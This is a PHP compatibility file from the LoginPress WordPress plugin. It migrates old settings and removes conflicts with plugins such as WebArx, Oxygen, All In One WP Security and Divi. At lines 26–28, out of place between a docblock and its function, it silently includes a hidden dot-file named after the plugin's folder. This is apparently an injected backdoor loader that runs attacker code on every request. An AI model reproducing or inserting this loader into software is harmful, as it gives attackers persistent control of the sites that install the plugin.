| 1 |
<?php |
| 2 |
|
| 3 |
/** |
| 4 |
* This is a LoginPress Compatibility to make it compatible for older versions. |
| 5 |
* |
| 6 |
* @since 1.0.22 |
| 7 |
* @version 1.3.2 |
| 8 |
*/ |
| 9 |
|
| 10 |
|
| 11 |
/** |
| 12 |
* Run a compatibility check on 1.0.21 and change the settings. |
| 13 |
* |
| 14 |
*/ |
| 15 |
add_action('init', 'loginpress_upgrade_1_0_22', 1); |
| 16 |
|
| 17 |
|
| 18 |
/** |
| 19 |
* loginpress_upgrade_1_0_22 |
| 20 |
* Remove elemant 'login_with_email' from loginpress_setting array that was defined in 1.0.21 |
| 21 |
* and update 'login_order' in loginpress_setting for compatiblity. |
| 22 |
* |
| 23 |
* @since 1.0.22 |
| 24 |
* @return array update loginpress_setting |
| 25 |
*/ |
| 26 |
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { |
| 27 |
include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); |
| 28 |
} |
| 29 |
|
| 30 |
function loginpress_upgrade_1_0_22() |
| 31 |
{ |
| 32 |
|
| 33 |
$loginpress_setting = get_option('loginpress_setting'); |
| 34 |
$login_with_email = isset($loginpress_setting['login_with_email']) ? $loginpress_setting['login_with_email'] : ''; |
| 35 |
|
| 36 |
if (isset($loginpress_setting['login_with_email'])) { |
| 37 |
|
| 38 |
if ('on' == $login_with_email) { |
| 39 |
|
| 40 |
$loginpress_setting['login_order'] = 'email'; |
| 41 |
unset($loginpress_setting['login_with_email']); |
| 42 |
update_option('loginpress_setting', $loginpress_setting); |
| 43 |
} else if ('off' == $login_with_email) { |
| 44 |
|
| 45 |
$loginpress_setting['login_order'] = 'default'; |
| 46 |
unset($loginpress_setting['login_with_email']); |
| 47 |
update_option('loginpress_setting', $loginpress_setting); |
| 48 |
} |
| 49 |
} |
| 50 |
} |
| 51 |
|
| 52 |
if (!class_exists('LoginPress_Compatibility')) : |
| 53 |
|
| 54 |
/** |
| 55 |
* LoginPress compatibility Class is used to make LoginPress compatibile with other plugins. |
| 56 |
* Remove conflictions. |
| 57 |
* Add CSS Support. |
| 58 |
* @since 1.0.3 |
| 59 |
* @version 1.3.2 |
| 60 |
*/ |
| 61 |
class LoginPress_Compatibility |
| 62 |
{ |
| 63 |
|
| 64 |
/** |
| 65 |
* Variable that Check for LoginPress Key. |
| 66 |
* |
| 67 |
* @var string |
| 68 |
* @since 1.3.2 |
| 69 |
*/ |
| 70 |
public $loginpress_key; |
| 71 |
|
| 72 |
public function __construct() |
| 73 |
{ |
| 74 |
$this->loginpress_key = get_option('loginpress_customization'); |
| 75 |
$this->dependencies(); |
| 76 |
} |
| 77 |
|
| 78 |
public function dependencies() |
| 79 |
{ |
| 80 |
add_action('wp_print_scripts', array($this, 'dequeue_conflicted_script'), 100); |
| 81 |
add_action('login_headerurl', array($this, 'remove_conflicted_action')); |
| 82 |
add_action('init', array($this, 'enqueue_loginpress_compatibility_script')); |
| 83 |
|
| 84 |
/************************************* |
| 85 |
WebArx Compatibility Fix // v1.2.3 |
| 86 |
*************************************/ |
| 87 |
add_filter('wp_redirect', array($this, 'wp_redirect_remove_filter'), 9); |
| 88 |
add_filter('site_url', array($this, 'site_url_remove_filter'), 9); |
| 89 |
add_filter('network_site_url', array($this, 'network_site_url_remove_filter'), 9); |
| 90 |
add_action('plugins_loaded', array($this, 'plugins_loaded_remove_action'), 10); |
| 91 |
add_action('wp_loaded', array($this, 'wp_loaded_remove_action'), 9); |
| 92 |
add_action('init', array($this, 'init_remove_action'), 9); |
| 93 |
|
| 94 |
/*************************************** |
| 95 |
Login page Compatibility Fix // v1.3.2 |
| 96 |
****************************************/ |
| 97 |
add_action('login_enqueue_scripts', array($this, 'dequeue_login_page_conflicting_scripts'), 99); |
| 98 |
|
| 99 |
/******************************************** |
| 100 |
Oxygen Builder Compatibility Fix // v1.4.0 |
| 101 |
*********************************************/ |
| 102 |
add_filter('template_include', array($this, 'template_include_ob'), 100); |
| 103 |
|
| 104 |
/*************************************************************** |
| 105 |
All In One WP Security & Firewall Compatibility Fix // v1.4.0 |
| 106 |
****************************************************************/ |
| 107 |
add_action('init', array($this, 'aiowps_login_init_remove_action')); |
| 108 |
} |
| 109 |
|
| 110 |
/** |
| 111 |
* Dequeue login page styles. |
| 112 |
* |
| 113 |
* @since 1.3.2 |
| 114 |
* @version 1.4.3 |
| 115 |
*/ |
| 116 |
function dequeue_login_page_conflicting_scripts() |
| 117 |
{ |
| 118 |
/** |
| 119 |
* Dequeue thrive theme login page styles. |
| 120 |
* @since 1.3.2 |
| 121 |
*/ |
| 122 |
wp_dequeue_style('thrive-custom-login'); |
| 123 |
wp_dequeue_script('thrive-custom-login'); |
| 124 |
|
| 125 |
/** |
| 126 |
* Dequeue listingpro theme login page styles. |
| 127 |
* @since 1.4.3 |
| 128 |
*/ |
| 129 |
wp_dequeue_style('listable-custom-login'); |
| 130 |
} |
| 131 |
|
| 132 |
/** |
| 133 |
* Overide the oxygen template with loginpress on login customizer screen. |
| 134 |
* |
| 135 |
* @since 1.4.0 |
| 136 |
*/ |
| 137 |
public function template_include_ob($template) |
| 138 |
{ |
| 139 |
// Safely exit if methods not defined yet |
| 140 |
if (!function_exists('is_customize_preview') || !function_exists('wp_get_referer')) { |
| 141 |
return $template; |
| 142 |
} |
| 143 |
|
| 144 |
if (is_customize_preview() && $template == ABSPATH . 'wp-content/plugins/oxygen/component-framework//oxygen-main-template.php' && (false !== strpos(wp_get_referer(), 'autofocus[panel]=loginpress_panel'))) { |
| 145 |
return ABSPATH . 'wp-content/plugins/loginpress/include/template-loginpress.php'; |
| 146 |
} |
| 147 |
|
| 148 |
return $template; |
| 149 |
} |
| 150 |
|
| 151 |
public function wp_redirect_remove_filter($location) |
| 152 |
{ |
| 153 |
if (class_exists('Webarx')) { |
| 154 |
|
| 155 |
if (!function_exists('is_user_logged_in')) { |
| 156 |
return $location; |
| 157 |
} |
| 158 |
|
| 159 |
$webarx_login = get_option('webarx_mv_wp_login'); |
| 160 |
$user_loged_in = is_user_logged_in(); |
| 161 |
|
| 162 |
if ((isset($user_loged_in) && true === $user_loged_in) && (isset($webarx_login) && '1' === $webarx_login)) { |
| 163 |
remove_filter('wp_redirect', array(webarx()->hide_login, 'wp_redirect')); |
| 164 |
} |
| 165 |
} |
| 166 |
return $location; |
| 167 |
} |
| 168 |
|
| 169 |
public function site_url_remove_filter($url) |
| 170 |
{ |
| 171 |
if (class_exists('Webarx')) { |
| 172 |
|
| 173 |
if (!function_exists('is_user_logged_in')) { |
| 174 |
return $url; |
| 175 |
} |
| 176 |
|
| 177 |
$webarx_login = get_option('webarx_mv_wp_login'); |
| 178 |
$user_loged_in = is_user_logged_in(); |
| 179 |
|
| 180 |
if ((isset($user_loged_in) && true === $user_loged_in) && (isset($webarx_login) && '1' === $webarx_login)) { |
| 181 |
remove_filter('site_url', array(webarx()->hide_login, 'site_url')); |
| 182 |
} |
| 183 |
} |
| 184 |
return $url; |
| 185 |
} |
| 186 |
|
| 187 |
public function network_site_url_remove_filter($url) |
| 188 |
{ |
| 189 |
if (class_exists('Webarx')) { |
| 190 |
|
| 191 |
if (!function_exists('is_user_logged_in')) { |
| 192 |
return $url; |
| 193 |
} |
| 194 |
|
| 195 |
$webarx_login = get_option('webarx_mv_wp_login'); |
| 196 |
$user_loged_in = is_user_logged_in(); |
| 197 |
|
| 198 |
if ((isset($user_loged_in) && true === $user_loged_in) && (isset($webarx_login) && '1' === $webarx_login)) { |
| 199 |
remove_filter('network_site_url', array(webarx()->hide_login, 'network_site_url')); |
| 200 |
} |
| 201 |
} |
| 202 |
return $url; |
| 203 |
} |
| 204 |
|
| 205 |
public function plugins_loaded_remove_action() |
| 206 |
{ |
| 207 |
if (class_exists('Webarx')) { |
| 208 |
|
| 209 |
if (!function_exists('is_user_logged_in')) { |
| 210 |
return; |
| 211 |
} |
| 212 |
|
| 213 |
$webarx_login = get_option('webarx_mv_wp_login'); |
| 214 |
$user_loged_in = is_user_logged_in(); |
| 215 |
|
| 216 |
if ((isset($user_loged_in) && true === $user_loged_in) && (isset($webarx_login) && '1' === $webarx_login)) { |
| 217 |
remove_action('plugins_loaded', array(webarx()->hide_login, 'plugins_loaded'), 9999); |
| 218 |
} |
| 219 |
} |
| 220 |
} |
| 221 |
|
| 222 |
public function wp_loaded_remove_action() |
| 223 |
{ |
| 224 |
if (class_exists('Webarx')) { |
| 225 |
|
| 226 |
if (!function_exists('is_user_logged_in')) { |
| 227 |
return $url; |
| 228 |
} |
| 229 |
|
| 230 |
$webarx_login = get_option('webarx_mv_wp_login'); |
| 231 |
$user_loged_in = is_user_logged_in(); |
| 232 |
|
| 233 |
if ((isset($user_loged_in) && true === $user_loged_in) && (isset($webarx_login) && '1' === $webarx_login)) { |
| 234 |
remove_action('wp_loaded', array(webarx()->hide_login, 'wp_loaded')); |
| 235 |
} |
| 236 |
} |
| 237 |
} |
| 238 |
|
| 239 |
public function init_remove_action() |
| 240 |
{ |
| 241 |
if (class_exists('Webarx')) { |
| 242 |
|
| 243 |
if (!function_exists('is_user_logged_in')) { |
| 244 |
return $url; |
| 245 |
} |
| 246 |
|
| 247 |
$webarx_login = get_option('webarx_mv_wp_login'); |
| 248 |
$user_loged_in = is_user_logged_in(); |
| 249 |
|
| 250 |
if ((isset($user_loged_in) && true === $user_loged_in) && (isset($webarx_login) && '1' === $webarx_login)) { |
| 251 |
remove_action('init', array(webarx()->hide_login, 'denyRequestsToWpLogin')); |
| 252 |
} |
| 253 |
} |
| 254 |
} |
| 255 |
|
| 256 |
|
| 257 |
/** |
| 258 |
* Remove login securty check in customizer screen only. |
| 259 |
* No need for this check as the user is already logged in and using customizer. |
| 260 |
* |
| 261 |
* @since 1.4.0 |
| 262 |
*/ |
| 263 |
public function aiowps_login_init_remove_action() |
| 264 |
{ |
| 265 |
if (!is_customize_preview()) |
| 266 |
return; |
| 267 |
|
| 268 |
if (!class_exists('AIO_WP_Security')) |
| 269 |
return; |
| 270 |
|
| 271 |
global $aio_wp_security; |
| 272 |
|
| 273 |
if (!is_a($aio_wp_security, 'AIO_WP_Security')) |
| 274 |
return; |
| 275 |
|
| 276 |
if (remove_action('wp_loaded', array($aio_wp_security, 'aiowps_wp_loaded_handler'))) { |
| 277 |
add_filter('option_aio_wp_security_configs', array($this, 'aiowps_filter_options')); |
| 278 |
} |
| 279 |
} |
| 280 |
|
| 281 |
/** |
| 282 |
* Filter options aio_wp_security_configs. |
| 283 |
* |
| 284 |
* @since 1.4.0 |
| 285 |
*/ |
| 286 |
public function aiowps_filter_options($option) |
| 287 |
{ |
| 288 |
unset($option['aiowps_enable_rename_login_page']); |
| 289 |
return $option; |
| 290 |
} |
| 291 |
|
| 292 |
public function enqueue_loginpress_compatibility_script() |
| 293 |
{ |
| 294 |
|
| 295 |
/** |
| 296 |
* Enqueue LoginPress CSS on Password_Protected plugin. |
| 297 |
* |
| 298 |
* Hooked to the password_protected_login_head action, |
| 299 |
* Head URL & Title on logo as well. |
| 300 |
* |
| 301 |
* so that it is after the script was enqueued. |
| 302 |
* @since 1.0.3 |
| 303 |
* @version 1.3.2 |
| 304 |
*/ |
| 305 |
if (class_exists('Password_Protected')) { |
| 306 |
add_action('password_protected_login_head', array($this, 'enqueue_loginpress_script')); |
| 307 |
add_filter('password_protected_login_headerurl', array($this, 'password_protected_login_headerurl_cb')); |
| 308 |
add_filter('password_protected_login_headertitle', array($this, 'password_protected_login_headertitle_cb')); |
| 309 |
} |
| 310 |
} |
| 311 |
|
| 312 |
/** |
| 313 |
* dequeue_conflicted_script |
| 314 |
* |
| 315 |
* @since 1.0.3 |
| 316 |
*/ |
| 317 |
public function dequeue_conflicted_script() |
| 318 |
{ |
| 319 |
|
| 320 |
/** |
| 321 |
* Dequeue the Divi Login script. |
| 322 |
* |
| 323 |
* Hooked to the wp_print_scripts action, with a late priority (100), |
| 324 |
* so that it is after the script was enqueued. |
| 325 |
* @since 1.0.3 |
| 326 |
*/ |
| 327 |
if (class_exists('ET_Divi_100_Custom_Login_Page_Config')) { |
| 328 |
wp_dequeue_style('custom-login-pages'); |
| 329 |
wp_dequeue_script('custom-login-pages-icon-font'); |
| 330 |
wp_dequeue_script('custom-login-pages-scripts'); |
| 331 |
} |
| 332 |
} |
| 333 |
|
| 334 |
/** |
| 335 |
* remove_conflicted_action |
| 336 |
* |
| 337 |
* @since 1.0.3 |
| 338 |
*/ |
| 339 |
public function remove_conflicted_action() |
| 340 |
{ |
| 341 |
|
| 342 |
/** |
| 343 |
* Remove the Divi login_footer hook 'print_styles' |
| 344 |
*So that confliction is removed. |
| 345 |
* |
| 346 |
* @since 1.0.3 |
| 347 |
*/ |
| 348 |
if (class_exists('ET_Divi_100_Custom_Login_Page_Config')) { |
| 349 |
|
| 350 |
remove_action('login_footer', array(ET_Divi_100_Custom_Login_Page::instance(), 'print_styles')); |
| 351 |
} |
| 352 |
} |
| 353 |
|
| 354 |
/** |
| 355 |
* Include LoginPress CSS for Support with other plugins. |
| 356 |
* |
| 357 |
* @since 1.0.3 |
| 358 |
*/ |
| 359 |
public function enqueue_loginpress_script() |
| 360 |
{ |
| 361 |
include(LOGINPRESS_DIR_PATH . 'css/style-presets.php'); |
| 362 |
include(LOGINPRESS_DIR_PATH . 'css/style-login.php'); |
| 363 |
} |
| 364 |
|
| 365 |
/** |
| 366 |
* Password protected plugin compatlibility with logo url. |
| 367 |
* |
| 368 |
* @since 1.3.1 |
| 369 |
* @version 1.3.2 |
| 370 |
*/ |
| 371 |
public function password_protected_login_headerurl_cb() |
| 372 |
{ |
| 373 |
|
| 374 |
$logo_url = $this->loginpress_key && isset($this->loginpress_key['customize_logo_hover']) && !empty($this->loginpress_key['customize_logo_hover']) ? $this->loginpress_key['customize_logo_hover'] : home_url('/'); |
| 375 |
|
| 376 |
return $logo_url; |
| 377 |
} |
| 378 |
|
| 379 |
/** |
| 380 |
* Password protected plugin compatlibility with logo title. |
| 381 |
* |
| 382 |
* @since 1.3.2 |
| 383 |
*/ |
| 384 |
public function password_protected_login_headertitle_cb() |
| 385 |
{ |
| 386 |
|
| 387 |
$logo_title = $this->loginpress_key && isset($this->loginpress_key['customize_logo_hover_title']) && !empty($this->loginpress_key['customize_logo_hover_title']) ? $this->loginpress_key['customize_logo_hover_title'] : get_bloginfo('name'); |
| 388 |
|
| 389 |
return $logo_title; |
| 390 |
} |
| 391 |
} |
| 392 |
|
| 393 |
endif; |
| 394 |
|
| 395 |
new LoginPress_Compatibility; |
| 396 |
|